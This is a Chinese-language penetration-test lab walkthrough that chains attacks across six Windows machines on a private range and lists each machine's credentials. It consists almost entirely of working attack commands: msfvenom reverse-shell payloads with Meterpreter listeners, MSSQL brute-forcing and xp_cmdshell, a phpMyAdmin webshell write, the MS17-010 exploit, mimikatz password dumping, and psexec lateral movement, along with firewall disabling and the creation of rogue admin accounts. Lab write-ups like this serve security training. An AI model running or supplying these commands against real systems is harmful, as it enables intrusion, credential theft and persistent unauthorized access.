實驗目的:拿下一號機shell開3389遠程登錄

拓撲圖

A組(靶場)

1號
賬號:Administrator
密碼:Jack@!@#
ip:192.168.141.111
2號
賬號:ADMIN-PC/ADMIN
密碼:123456hhhh.
222.18.158.244:7771
ip:192.168.141.138
3號
域名:hiro.com
管理員
賬號:hiro\administrator
密碼:hb123456,./$
域用戶
賬號:hiro.com/user1
密碼:hb123456,./$
ip:192.168.141.100
Tips:里面設了靜態ip,要改一下,已將加入過程總結
https://www.jianshu.com/p/2708f3dfb7cf
4號
賬號:administrator
密碼:Win@2003
ip:192.168.141.114
5號
賬號:Administrator
密碼:Win@2008
ip:192.168.141.115
6號
賬號:Administrator
密碼:Edvison233!
ip:192.168.141.116

B組(攻擊組)

使用kali拿下2號機

通過MobaXterm連接Kali(ip:192.168.141.143),用戶名:root,密碼:toor

使用下述命令,執行,生成木馬文件:


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.141.143 LPORT=4444 -f exe > ./test.exe

生成了test.exe之后,然后在kali里,設定端口監聽,等待目標上線


msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;show options; set LHOST 192.168.141.143;set LPORT 4444; run"

在2號機上右擊,以管理員權限執行,kali就可以接收到反彈回來的shell,對shell進行操作。

在kali里接收到了shell,可在meterpreter中管理shell,開啟3389

run post/windows/manage/enable_rdp

添加用戶

run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

然后在服務器主機中,用新添加的賬號,遠程桌面連接2號機,至此完成了對2號機的控制

2號機到6號機

使用nmap掃描發現192.168.141.116開了1433端口

nmap -p1433 --open 192.168.141.0/24

使用ms-sql-brute模塊對6號機sa賬戶進行爆破,獲得用戶名為sa,密碼為123456

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktopame.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116

使用sqltools獲取6號機數據庫

用xp_cmdshell關閉防火墻限制

netsh firewall set opmode mode=disable

添加3389入站規則

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

創建管理員用戶Waldo6TEST

net user Waldo6TEST 1234567hhhh. /add
net localgroup administrators Waldo6TEST /add

使用用戶名 Wado6TEST 密碼 1234567hhhh. 成功登陸6號機

6號機到5號機

發現5號機開放80端口,是一個phpmyadmin,弱口令,用戶名root,密碼root


http://192.168.141.115/phpmyadmin/

嘗試寫入webshell

use mysql;
CREATE TABLE `mysql`.`d0g3` (`sn00py` TEXT NOT NULL );
INSERT INTO `mysql`.`d0g3` (`sn00py`)VALUES ('');
SELECT sn00py FROM d0g3 INTO OUTFILE 'C:/pentest/phpstudy/WWW/shell.php';

Shell寫到了http://192.168.141.115/shell.php,使用菜刀連接

執行命令whoami,發現是administrator權限

加管理員用戶

net user Waldo 1234567hhhh. /add
net localgroup administrators Waldo /add

打開5號機3389端口


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

連接到遠程桌面

5號機到4號機

在5號機上傳ms17010攻擊腳本,用kali攻擊機生成一個payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.141.143 lport=6666 -f exe -o shell.exe

開啟msf監聽


msfconsole -q
use exploit/multi/handler
set lhost 0.0.0.0
set lport 6666
exploit

5號機中cmd切換到C:\Users\Waldo\MS17-010-master,然后運行ms170101攻擊腳本(腳本要自己下載)


python zzz_exploit.py 192.168.141.114

在kali里接收到了shell,可在meterpreter中管理shell,開啟3389

run post/windows/manage/enable_rdp

添加用戶


run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

在5號機遠程登錄4號機

4號機到3號機

在4號機中抓取hash

privilege::debug
sekurlsa::logonpasswords

抓到域控管理員賬號和密碼:

在4號機上,使用以下命令建立IPC$連接

net use \\192.168.141.100 "hb123456,./$" /user:"Administrator"

在4號機上,使用以下命令,將目標靶機的C盤映射到本地Z盤


net use z: \\192.168.141.100\c$

使用copy命令將先前生成的shell.exe拷貝至靶機C盤

copy shell.exe \\192.168.141.100\c$

在kali上開啟監聽(6666端口),使用psesec.exe啟動靶機上的shell.exe


psexec.exe \\192.168.141.100 -u administrator -p hb123456,./$ c:\\shell.exe

成功反彈shell上線:

在kali里接收到了shell,可在meterpreter中管理shell,開啟3389

run post/windows/manage/enable_rdp

添加用戶


run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

在4號機遠程登錄3號機,用戶名:hiro\Administrator,密碼:hb123456,./$

3號機到1號機

在3號機上,使用以下命令建立IPC$連接

net use \\192.168.141.111 "hb123456,./$" /user:"Administrator"

在3號機上,使用以下命令,將目標靶機的C盤映射到本地Z盤


net use z: \\192.168.141.111\c$

使用copy命令將先前生成的shell.exe拷貝至靶機C盤

copy shell.exe \\192.168.141.111\c$

在kali上開啟監聽(6666端口),使用psexec.exe執行靶機上的shell.exe

psexec.exe \\192.168.141.111 -u hiro\Administrator -p hb123456,./$ c:\\shell.exe

成功獲取shell

成功拿下1號機,使用用戶名:hiro\Administrator,密碼: hb123456,./$ 成功登陸1號機